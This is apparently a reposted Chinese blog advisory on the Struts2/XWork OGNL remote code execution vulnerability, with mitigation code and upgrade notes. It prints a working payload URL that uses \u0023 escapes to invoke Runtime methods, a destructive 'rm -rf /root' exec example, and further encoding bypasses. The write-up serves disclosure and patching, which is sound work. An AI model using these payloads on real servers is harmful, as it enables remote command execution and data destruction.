Struts2/WebWork高危漏洞(远程执行任意代码)
来源:互联网 发布:慧辰资讯 知乎 编辑:程序博客网 时间:2024/05/17 06:16
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前的解决方法如下:
官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
注:还有其他编码可以绕过,仅仅控制了\u0023,是个悲剧。经过实际测试,发现#号的8进制编码\43,也是在这里使用的,并且\043也是可以的。
由于我的xwork版本是2.0.4网上找不到源码了,而使用其他的版本有些问题;情急之下对struts2进行了升级处理:
在升级的过程中遇到个2.0到2.5的不同:
分页使用的pagesize升级前为了灵活在页面中也可以指定pagesize的值,造成页面有两个pagesize input参数
2.0对一个驱动模型里int型参数,如果页面上有多个同名input参数只取前一个,而2.5中是拿两个pagesize数组来填充模型里的int型pagesize值,struts报input错误
- Invalid field value for field "pageSize".
厂商补丁:
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://svn.apache.org/viewvc?view=revision&revision=956389
- Struts2/WebWork高危漏洞(远程执行任意代码)
- Struts2/XWork远程执行任意代码漏洞
- Fastjson 爆出远程代码执行高危漏洞
- Struts2远程代码执行漏洞
- Struts2远程代码执行漏洞
- struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复
- php cgi远程任意代码执行漏洞
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- Struts2再爆远程代码执行漏洞
- struts2 的几个远程代码执行漏洞
- Struts2再爆远程代码执行漏洞
- struts2远程代码执行漏洞简要回顾
- Struts2 devMode导致远程代码执行漏洞
- Struts2曝高危远程执行漏洞:中国互联网又遭浩劫
- 关于Apache Struts2 新增远程命令执行高危漏洞的情况通报
- 任意代码执行漏洞
- PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
- 巧妙使用概率
- USACO Hamming Codes 求汉明距离
- 学习asp.net比较完整的流程
- C++和C#变量对应表
- JS中页面跳转,传值包含中文时乱码解决方案
- Struts2/WebWork高危漏洞(远程执行任意代码)
- 在Oracle中如何删除表中设计重复数据
- ORACLE 使用AUTOTRACE功能
- 隐藏UITableView多余的分割线
- 微软为什么在Windows 8中去除“开始”按钮
- windows下远程开发c/c++,fork()子进程调试方案.
- asterisk用户管理方案
- WAVEFORMATEX结构的说明
- JavaScript加密解密7种方法